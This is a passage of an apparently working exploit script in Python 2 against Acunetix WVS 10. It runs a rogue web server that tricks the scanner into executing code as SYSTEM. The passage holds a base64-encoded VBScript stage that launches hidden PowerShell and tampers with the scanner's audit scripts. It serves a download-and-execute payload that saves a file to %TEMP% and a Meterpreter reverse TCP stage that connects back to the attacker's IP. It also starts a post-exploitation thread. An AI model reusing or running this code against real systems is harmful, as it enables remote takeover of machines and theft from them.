"iAmXw0KIkVuZCBGdW5jdGlvbiIgJiB2YmNybGYgJl8NCiJSRU9ucllKZSIgJiB2YmNybGYgJl8NCiJDcmVhdGVPYmplY3QoIiJ"
"TY3JpcHRpbmcuRmlsZVN5c3RlbU9iamVjdCIiKS5EZWxldGVGaWxlIFdTY3JpcHQuU2NyaXB0RnVsbE5hbWUiICYgdmJjcmxmI"
"CZfDQoiV1NjcmlwdC5RdWl0Ig0KICBjd2QgPSBDcmVhdGVPYmplY3QoIldTY3JpcHQuU2hlbGwiKS5FeHBhbmRFbnZpcm9ubWV"
"udFN0cmluZ3MoIiVzIikgJiAiXHN0YWdlbGFzdC52YnMiDQogIFNldCBvYmpGaWxlQmluZCA9IGZzby5DcmVhdGVUZXh0RmlsZS"
"hjd2QgLFRydWUpDQogIG9iakZpbGVCaW5kLldyaXRlIGJpbmQgJiB2YkNyTGYNCiAgb2JqRmlsZUJpbmQuQ2xvc2UNCiAgDQog"
"IGpzID0gInZhciBzaGVsbCA9IG5ldyBBY3RpdmVYT2JqZWN0KCIiV1NjcmlwdC5TaGVsbCIiKTsiJiB2YmNybGYgJiAic2hlbG"
"wucnVuKCdjbWQgL0Mgc3RhcnQgL0IgIiIiIiAiInBvd2Vyc2hlbGwiIiAtd2luZG93c3R5bGUgaGlkZGVuIC1jb21tYW5kICIi"
"d3NjcmlwdCAiICYgUmVwbGFjZShjd2QsIlwiLCJcXCIpICYgIiIiJyk7Ig0KICBmc28uTW92ZUZpbGUgIkM6XFByb2dyYW1EYX"
"RhXEFjdW5ldGl4IFdWUyAxMFxEYXRhXFNjcmlwdHNcUGVyU2VydmVyXEFKUF9BdWRpdC5zY3JpcHQiLCAiQzpcUHJvZ3JhbURh"
"dGFcQWN1bmV0aXggV1ZTIDEwXERhdGFcU2NyaXB0c1xQZXJTZXJ2ZXJcQUpQX0F1ZGl0LnNjcmlwdC5iYWsiDQogIFNldCBvYm"
"pGaWxlID0gZnNvLkNyZWF0ZVRleHRGaWxlKCJDOlxQcm9ncmFtRGF0YVxBY3VuZXRpeCBXVlMgMTBcRGF0YVxTY3JpcHRzXFBl"
"clNlcnZlclxBSlBfQXVkaXQuc2NyaXB0IixUcnVlKQ0KICBvYmpGaWxlLldyaXRlIGpzICYgdmJDckxmDQogIG9iakZpbGUuQ2"
"xvc2UNCiAgeSA9IE1vbnRoKE5vdykgJiAiLyIgJiBEYXkoTm93KSAmICIvIiAmIFllYXIoTm93KQ0KICBoID0gSG91cihOb3cp"
"ICYgIjoiJiBNaW51dGUoTm93KSsxDQogIHNSZXF1ZXN0ID0gInsiInNjYW5UeXBlIiI6IiJzY2FuIiIsIiJ0YXJnZXRMaXN0Ii"
"I6IiIiIiwiInRhcmdldCIiOlsiImh0dHA6Ly93d3cuZ29vZ2xlLml0IiJdLCIicmVjdXJzZSIiOiIiLTEiIiwiImRhdGUiIjoi"
"IiIgJiB5ICYgIiIiLCIiZGF5T2ZXZWVrIiI6IiIxIiIsIiJkYXlPZk1vbnRoIiI6IiIxIiIsIiJ0aW1lIiI6IiIiICYgaCAmIC"
"IiIiwiImRlbGV0ZUFmdGVyQ29tcGxldGlvbiIiOiIiRmFsc2UiIiwiInBhcmFtcyIiOnsiInByb2ZpbGUiIjoiIkRlZmF1bHQi"
"IiwiImxvZ2luU2VxIiI6IiI8bm9uZT4iIiwiInNldHRpbmdzIiI6IiJEZWZhdWx0IiIsIiJzY2FubmluZ21vZGUiIjoiImhldX"
"Jpc3RpYyIiLCIiZXhjbHVkZWRob3VycyIiOiIiPG5vbmU+IiIsIiJzYXZldG9kYXRhYmFzZSIiOiIiVHJ1ZSIiLCIic2F2ZWxv"
"Z3MiIjoiIkZhbHNlIiIsIiJnZW5lcmF0ZXJlcG9ydCIiOiIiRmFsc2UiIiwiInJlcG9ydGZvcm1hdCIiOiIiUERGIiIsIiJyZX"
"BvcnR0ZW1wbGF0ZSIiOiIiV1ZTRGV2ZWxvcGVyUmVwb3J0LnJlcCIiLCIiZW1haWxhZGRyZXNzIiI6IiIiIn19Ig0KICBzZXQg"
"b0hUVFAgPSBDcmVhdGVPYmplY3QoIk1pY3Jvc29mdC5YTUxIVFRQIikNCiAgb0hUVFAub3BlbiAiUE9TVCIsICJodHRwOi8vMT"
"I3LjAuMC4xOjgxODMvYXBpL2FkZFNjYW4iLCBmYWxzZQ0KICBvSFRUUC5zZXRSZXF1ZXN0SGVhZGVyICJDb250ZW50LVR5cGUi"
"LCAiYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkIg0KICBvSFRUUC5zZXRSZXF1ZXN0SGVhZGVyICJYLVJlcXVlc3"
"RlZC1XaXRoIiwgIlhNTEh0dHBSZXF1ZXN0Ig0KICBvSFRUUC5zZXRSZXF1ZXN0SGVhZGVyICJBY2NlcHQiLCAiYXBwbGljYXRp"
"b24vanNvbiwgdGV4dC9qYXZhc2NyaXB0LCAqLyo7IHE9MC4wMSINCiAgb0hUVFAuc2V0UmVxdWVzdEhlYWRlciAiQ29udGVudC"
"1UeXBlIiwgImFwcGxpY2F0aW9uL2pzb247IGNoYXJzZXQ9VVRGLTgiDQogIG9IVFRQLnNldFJlcXVlc3RIZWFkZXIgIlJlcXVl"
"c3RWYWxpZGF0ZWQiLCAgInRydWUiDQogIG9IVFRQLnNldFJlcXVlc3RIZWFkZXIgIkNvbnRlbnQtTGVuZ3RoIiwgTGVuKHNSZX"
"F1ZXN0KQ0KICBvSFRUUC5zZW5kIHNSZXF1ZXN0DQogRW5kIEZ1bmN0aW9uDQogDQogRXNjYWxhdGVBbmRFeGVjdXRlDQogZnNv"
"LkRlbGV0ZUZpbGUgV1NjcmlwdC5TY3JpcHRGdWxsTmFtZQ0KIFdTY3JpcHQuUXVpdA=="
class myHandler(BaseHTTPRequestHandler):
timeout = 5
server_version = "Apache"
sys_version = "1.2"
def log_message(self, format, *args):
try:
paths = str(list(args)[0])
if "prompt" in paths or "confirm" in paths or "alert" in paths:
print "[*] Triggering EXPLOIT_STAGE_1 + PAYLOAD_DOWNLOAD_EXEC sending (%s) bytes !" %
(len(PAYLOAD_DOWNLOAD_EXEC) + len(EXPLOIT_STAGE_1))
if "stage2" in paths:
print "[*] Triggering EXPLOIT_STAGE_2 sending (%s) bytes !" % len(EXPLOIT_STAGE_2)
return
except:
pass
return
def do_POST(self):
PDE = base64.b64decode(PAYLOAD_DOWNLOAD_EXEC) % (sys.argv[2] + ":" + sys.argv[1],
"%TEMP%", gen_random_name(12))
data = self.rfile.read(int(self.headers.getheader("Content-Length")))
data = data.split("&")
self.send_response(200)
self.send_header('Content-type', 'text/html')
self.end_headers()
for param in data:
if "usr" in param:
param = param.split("=")[1]
self.wfile.write(base64.b64decode(EXPLOIT_STAGE_1)
% (base64.b64encode("".join(x + "\x00" for x in PDE)),
("Bad password for user %s , <a href="/">try again</a>." % param)))
return
self.wfile.write(base64.b64decode(EXPLOIT_STAGE_1)
% (base64.b64encode("".join(x + "\x00" for x in PDE)),
"Some data are missing , <a href="/">try again</a>."))
return
def do_GET(self):
try:
if self.path == "/":
self.send_response(302)
self.send_header('Content-type', 'text/html')
self.send_header('Location', "login")
self.end_headers()
# Send the html message
self.wfile.write("<a href='/?url=test'>Here</a>")
return
elif self.path == "/stage2":
self.send_response(200)
self.send_header('Content-type', 'text/plain')
self.end_headers()
# Send the html message
self.wfile.write(base64.b64decode(EXPLOIT_STAGE_2)
% (PAYLOAD_METERPETRER % ip2b(sys.argv[2]), "%TEMP%"))
postexpthread = Thread(target=postexploitation, args=(self.client_address[0], ))
postexpthread.start()
return
else:
string = ""
try:
string = self.path.split("=")[1]
except:
pass
self.send_response(200)
self.send_header('Content-type', 'text/html')
self.end_headers()
# Send the html message
PDE = base64.b64decode(PAYLOAD_DOWNLOAD_EXEC) % (sys.argv[2] + ":" + sys.argv[1],
"%TEMP%", gen_random_name(12))
self.wfile.write(base64.b64decode(EXPLOIT_STAGE_1)
% (base64.b64encode("".join(x + "\x00" for x in PDE)), base64.b64decode(LOGIN_FORM)))
return
except Exception as e:
print e.message
self.send_response(200)
self.send_header('Content-type', 'text/plain')
self.end_headers()
self.wfile.write("")
return
if __name__ == "__main__":
print "\n\nAcunetix WVS 10 - SYSTEM Remote Command Execution (Daniele Linguaglossa)\n"
"Payload: Meterpreter reverse TCP 4444"
try:
if len(sys.argv) > 2:
# Create a web server and define the handler to manage the
# incoming request
server = HTTPServer(('0.0.0.0', int(sys.argv[1])), myHandler)
print 'Exploit started on port *:%s' % sys.argv[1]
print '[+] Waiting for scanner...'
# Wait forever for incoming http requests
server.serve_forever()
else:
print "Usage: %s <port> <local ip/domain name>" % os.path.basename(sys.argv[0])
except KeyboardInterrupt:
print '^C received, shutting down the web server'
server.socket.close()